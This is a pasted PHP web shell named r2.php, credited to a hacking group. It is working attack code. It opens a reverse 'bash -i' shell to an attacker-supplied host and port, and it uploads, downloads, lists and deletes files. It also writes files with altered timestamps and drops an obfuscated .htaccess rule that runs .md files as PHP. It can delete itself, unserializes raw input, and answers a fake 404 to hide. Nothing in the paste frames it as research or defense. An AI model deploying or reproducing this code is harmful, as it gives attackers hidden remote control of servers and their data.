Advertisement
P22DX

r2.php

Dec 20th, 2019
216
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 9.65 KB | None | 0 0
  1. <?php
  2. /*
  3.                     O       o O       o O       o
  4.                     | O   o | | O   o | | O   o |
  5.                     | | O | | | | O | | | | O | |
  6.                     | o   O | | o   O | | o   O |
  7.                     o       O o       O o       O
  8.                                 { Dark Net Alliance }
  9.  
  10.                         © 2019, <Cvar1984@BHSec>
  11.               -----------------------------------------
  12.               @author Cvar1984
  13.               @license MIT
  14.               @contributor BHSec
  15.  
  16.  */
  17.  
  18. class R2
  19. {
  20.     public static $chunk_size = 1400;
  21.     public static $write_a = null;
  22.     public static $error_a = null;
  23.     public static $daemon = 0;
  24.     public static $shell = 'bash -i'; // bash
  25.     public static $htaccess = 'NqqGlcr+nccyvpngvba%2Sk-uggcq-cuc+.zq';
  26.     /*
  27.      * @param string $host attacker ip/host
  28.      * @param int $port attacker port
  29.      * @return none
  30.      */
  31.     public function __construct(bool $debug = true, int $time = 0)
  32.     {
  33.         if ($debug === true) {
  34.             error_reporting(E_ALL);
  35.         } else {
  36.             error_reporting($debug);
  37.         }
  38.  
  39.         error_log($debug);
  40.         set_time_limit($time);
  41.         $this->cwd = getcwd() . DIRECTORY_SEPARATOR;
  42.         $this->cft = time();
  43.     }
  44.     public function reverse(string $host, int $port)
  45.     {
  46.         if (function_exists('pcntl_fork')) {
  47.             $pid = pcntl_fork();
  48.             if ($pid == -1) {
  49.                 exit(1);
  50.             } elseif ($pid) {
  51.                 exit(0); // Parent exits
  52.             }
  53.             // Will only succeed if we forked
  54.             if (posix_setsid() == -1) {
  55.                 exit(1);
  56.             }
  57.             R2::$daemon = 1;
  58.         }
  59.         // Remove any umask we inherited
  60.         umask(0);
  61.  
  62.         // Open reverse connection
  63.         $sock = fsockopen($host, $port, $errno, $errstr, 30);
  64.         if (!$sock) {
  65.             exit(1);
  66.         }
  67.  
  68.         // Spawn shell process
  69.         $descriptorspec = array(
  70.             0 => array('pipe', 'r'), // stdin
  71.             1 => array('pipe', 'w'), // stdout
  72.             2 => array('pipe', 'w') // stderr
  73.         );
  74.  
  75.         $process = proc_open(R2::$shell, $descriptorspec, $pipes);
  76.  
  77.         if (!is_resource($process)) {
  78.             exit(1);
  79.         }
  80.         stream_set_blocking($pipes[0], 0);
  81.         stream_set_blocking($pipes[1], 0);
  82.         stream_set_blocking($pipes[2], 0);
  83.         stream_set_blocking($sock, 0);
  84.         while (1) {
  85.             // Check for end of TCP connection
  86.             if (feof($sock)) {
  87.                 break;
  88.             }
  89.             // Check for end of STDOUT
  90.             if (feof($pipes[1])) {
  91.                 break;
  92.             }
  93.  
  94.             $read_a = array($sock, $pipes[1], $pipes[2]);
  95.             $num_changed_sockets = stream_select(
  96.                 $read_a,
  97.                 R2::$write_a,
  98.                 R2::$error_a,
  99.                 null
  100.             );
  101.  
  102.             if (in_array($sock, $read_a)) {
  103.                 $input = fread($sock, R2::$chunk_size);
  104.                 fwrite($pipes[0], $input);
  105.             }
  106.  
  107.             if (in_array($pipes[1], $read_a)) {
  108.                 $input = fread($pipes[1], R2::$chunk_size);
  109.                 fwrite($sock, $input);
  110.             }
  111.  
  112.             if (in_array($pipes[2], $read_a)) {
  113.                 $input = fread($pipes[2], R2::$chunk_size);
  114.                 fwrite($sock, $input);
  115.             }
  116.         }
  117.  
  118.         fclose($sock);
  119.         fclose($pipes[0]);
  120.         fclose($pipes[1]);
  121.         fclose($pipes[2]);
  122.         proc_close($process);
  123.     }
  124.     /*
  125.      * @param array $file from $_FILES
  126.      * @return bool
  127.      */
  128.     public function upLoad(array $file)
  129.     {
  130.         return move_uploaded_file(
  131.             $file['tmp_name'],
  132.             $this->cwd . $file['name']
  133.         );
  134.     }
  135.     /*
  136.      * @param none
  137.      * @return bool
  138.      */
  139.     public function remove()
  140.     {
  141.         return unlink($_SERVER['SCRIPT_FILENAME']);
  142.     }
  143.     /*
  144.      * @param string $name output file name
  145.      * @param string $file mix encoded source
  146.      * @return bool
  147.      */
  148.     public function write(string $name, string $file)
  149.     {
  150.         $file = str_rot13(urldecode($file));
  151.         if (substr($this->cwd, -1) == DIRECTORY_SEPARATOR) {
  152.             $this->changeTime($this->cwd . $name);
  153.             file_put_contents($this->cwd . $name, $file);
  154.             return touch($this->cwd . $name, $this->cft);
  155.         } else {
  156.             $this->changeTime($this->cwd . DIRECTORY_SEPARATOR . $name);
  157.             file_put_contents($this->cwd . DIRECTORY_SEPARATOR . $name, $file);
  158.             return touch($this->cwd . DIRECTORY_SEPARATOR, $this->cft);
  159.         }
  160.     }
  161.     /*
  162.      * @param none
  163.      * @return bool
  164.      */
  165.     public function htaccess()
  166.     {
  167.         return $this->write('.htaccess', R2::$htaccess);
  168.     }
  169.     /*
  170.      * @param string $class class to be reflected
  171.      * @return json
  172.      */
  173.     public function help(string $class)
  174.     {
  175.         $ref = new ReflectionClass($class);
  176.         return json_encode(
  177.             [
  178.                 'method' => $ref->getMethods(),
  179.                 'property' => $ref->getStaticProperties()
  180.             ],
  181.             JSON_PRETTY_PRINT
  182.         );
  183.     }
  184.     /*
  185.      * @param string $class class to be reflected
  186.      * @param string $property property to be reflected
  187.      * @param string $value value to be replaced
  188.      * @return none
  189.      */
  190.     public function debug(string $class, string $property, string $value)
  191.     {
  192.         $ref = new ReflectionClass($class);
  193.         $ref->setStaticPropertyValue($property, $value);
  194.         return;
  195.     }
  196.     /*
  197.      * @param none
  198.      * @return json
  199.      */
  200.     public function info()
  201.     {
  202.         ob_start();
  203.         phpinfo();
  204.         $s = ob_get_clean();
  205.         $s = strip_tags($s, '<h2><th><td>');
  206.         $s = preg_replace('/<th[^>]*>([^<]+)<\/th>/', '<info>\1</info>', $s);
  207.         $s = preg_replace('/<td[^>]*>([^<]+)<\/td>/', '<info>\1</info>', $s);
  208.         $t = preg_split(
  209.             '/(<h2[^>]*>[^<]+<\/h2>)/',
  210.             $s,
  211.             -1,
  212.             PREG_SPLIT_DELIM_CAPTURE
  213.         );
  214.         $r = array();
  215.         $count = count($t);
  216.         $p1 = '<info>([^<]+)<\/info>';
  217.         $p2 = '/' . $p1 . '\s*' . $p1 . '\s*' . $p1 . '/';
  218.         $p3 = '/' . $p1 . '\s*' . $p1 . '/';
  219.         for ($i = 1; $i < $count; $i++) {
  220.             if (preg_match('/<h2[^>]*>([^<]+)<\/h2>/', $t[$i], $matchs)) {
  221.                 $name = trim($matchs[1]);
  222.                 $vals = explode("\n", $t[$i + 1]);
  223.                 foreach ($vals as $val) {
  224.                     if (preg_match($p2, $val, $matchs)) {
  225.                         // 3cols
  226.                         $r[$name][trim($matchs[1])] = array(
  227.                             trim($matchs[2]),
  228.                             trim($matchs[3])
  229.                         );
  230.                     } elseif (preg_match($p3, $val, $matchs)) {
  231.                         // 2cols
  232.                         $r[$name][trim($matchs[1])] = trim($matchs[2]);
  233.                     }
  234.                 }
  235.             }
  236.         }
  237.         return json_encode($r, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES);
  238.     }
  239.     /*
  240.      * @param string $file path to filename
  241.      * @return mixed
  242.      */
  243.     public function downLoad(string $file)
  244.     {
  245.         $file = $this->cwd . $file;
  246.         header("Content-Disposition: attachment; filename=" . basename($file));
  247.         header("Content-Length: " . filesize($file));
  248.         header("Content-Type: application/octet-stream;");
  249.         readfile($file);
  250.     }
  251.     /*
  252.      * @param string $ls path to listed
  253.      * @return json
  254.      */
  255.     public function ls($dir)
  256.     {
  257.         return json_encode(
  258.             scandir($this->cwd . $dir),
  259.             JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES
  260.         );
  261.     }
  262.     /*
  263.      * @param string $file file path to be removed
  264.      * @return bool
  265.      */
  266.     public function rm(string $file)
  267.     {
  268.         if (substr($this->cwd, -1) == DIRECTORY_SEPARATOR) {
  269.             return unlink($this->cwd . $file) . PHP_EOL;
  270.         } else {
  271.             return unlink($this->cwd . DIRECTORY_SEPARATOR . $file) . PHP_EOL;
  272.         }
  273.     }
  274.     public function serial(string $data)
  275.     {
  276.         return unserialize($data) . PHP_EOL;
  277.     }
  278.     public function cd(string $directory)
  279.     {
  280.         $this->cwd = $this->cwd . $directory;
  281.         chdir($this->cwd);
  282.     }
  283.     public function changeTime($file)
  284.     {
  285.         if (file_exists($file)) {
  286.             $this->cft = filemtime($file);
  287.         }
  288.     }
  289. }
  290. $r2 = new R2(true, 0);
  291.  
  292. if (isset($_POST['debug'])) {
  293.     echo $r2->debug($_POST['debug'], $_POST['property'], $_POST['value']);
  294. }
  295. if (isset($_POST['cd'])) {
  296.     $r2->cd($_POST['cd']);
  297. }
  298. if (isset($_POST['host']) && isset($_POST['port'])) {
  299.     $r2->reverse($_POST['host'], $_POST['port']);
  300. } elseif (isset($_FILES['upload'])) {
  301.     echo $r2->upLoad($_FILES['upload']);
  302. } elseif (isset($_POST['remove'])) {
  303.     echo $r2->remove();
  304. } elseif (isset($_POST['htaccess'])) {
  305.     echo $r2->htaccess();
  306. } elseif (isset($_POST['name']) && isset($_POST['write'])) {
  307.     echo $r2->write($_POST['name'], $_POST['write']);
  308. } elseif (isset($_POST['help'])) {
  309.     echo $r2->help($_POST['help']);
  310. } elseif (isset($_POST['info'])) {
  311.     echo $r2->info();
  312. } elseif (isset($_POST['download'])) {
  313.     $r2->downLoad($_POST['download']);
  314. } elseif (isset($_POST['ls'])) {
  315.     echo $r2->ls($_POST['ls']);
  316. } elseif (isset($_POST['rm'])) {
  317.     echo $r2->rm($_POST['rm']);
  318. } elseif (isset($_POST['serial'])) {
  319.     echo $r2->serial($_POST['serial']);
  320. } else {
  321.     header('HTTP/1.0 404 Not Found', true, 404);
  322.     exit(404);
  323. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement